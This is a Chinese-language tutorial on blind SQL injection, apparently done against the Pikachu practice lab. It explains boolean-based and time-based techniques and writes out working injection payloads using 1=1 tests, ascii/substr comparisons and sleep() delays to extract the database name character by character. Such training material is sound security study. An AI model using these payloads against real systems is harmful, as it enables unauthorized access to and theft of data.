1、什么是盲注:
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based Boolean和based time两种类型
基于boolean的盲注主要表现症状:
- 没有报错信息
- 不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
- 在正确的输入下,输入and 1=1 /and 1=2发现可以判断
输入kobe’ and 1=1#
输入kobe’ and 1=2#
说明存在sql注入,会把我们输入的内容传到后端进行执行
输入 输出
Select database() pikachu
Select substr(database(),1,1) p
Select ascii(substr(database(),1,1)) 112
Select ascii(substr(database(),1,1))>100 1
Select ascii(substr(database(),1,1))>113 0
确定字符串长度:
Select length(database()) 7
Select length(database())>8 0
Select length(database())=7 1
因为前端返回的信息只有两种,要么正确,返回用户信息,要么不正确,返回错误信息,所以可以构造payload:Kobe’ and ascii(substr(database()))>113#,如果返回kobe的信息,则后面表达式的值为真,则database的第一个字符ascii的值确实大于113
Kobe’ and ascii(substr(database(),1,1))=112#
基于时间的盲注:
如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话,那么基于时间的盲注完全就是什么都看不见了,但是还有一个条件,就是时间,通过特定的输入,判断后台执行的时间,从而确定注入
常用的teat payload:kobe’ and sleep(5)#,可以看看输入kobe和输入kobe’ and sleep(5)#的区别,从而判断这里存在based time的sql注入漏洞
首先发现无论输入什么,下方输出信息都是一样的
输入kobe’ and sleep(5)#,通过观察下方,发现确实对我们输入的sleep()执行了,说明此处存在sql注入
基于时间的延迟:
kobe’ and if((substr(database(),1,1))=’a’,sleep(5),null)#
因为不是a,所以很快就返回结果
修改为:kobe’ and if((substr(database(),1,1))=’p’,sleep(5),null)#,因为确实是p,所以会反应5秒